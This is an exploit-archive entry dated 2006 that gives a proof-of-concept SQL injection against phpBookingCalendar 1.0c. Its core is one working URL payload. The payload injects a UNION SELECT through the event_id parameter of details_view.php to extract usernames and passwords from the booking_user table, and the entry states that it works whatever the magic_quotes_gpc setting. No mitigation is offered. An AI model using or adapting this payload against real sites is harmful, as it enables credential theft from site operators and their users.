[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpBookingCalendar <= 1.0c [details_view.php] Remote SQL Injection
# Published : 2006-03-25
# Author : undefined1_
# Previous Title : PHP Ticket <= 0.71 (search.php) Remote SQL Injection Exploit
# Next Title : TFT Gallery <= 0.10 [Password Disclosure] Remote Exploit
PoC by undefined1_ @ bash-x.net/undef/
phpBookingCalendar <= 1.0c
"A PHP/MySQL Booking Calendar Application."
http://www.jjwdesign.com/booking_calendar.html
phpBookingCalendar is prone to a sql injection attack. the sql injection works regardless of any magic_quotes_gpc settings.
www.site.com/details_view.php?event_id=1 and 1=0 union all select 1,1,username,1,1,1,1,1,1,passwd,1,1,1 from booking_user
# www.Syue.com [2006-03-25]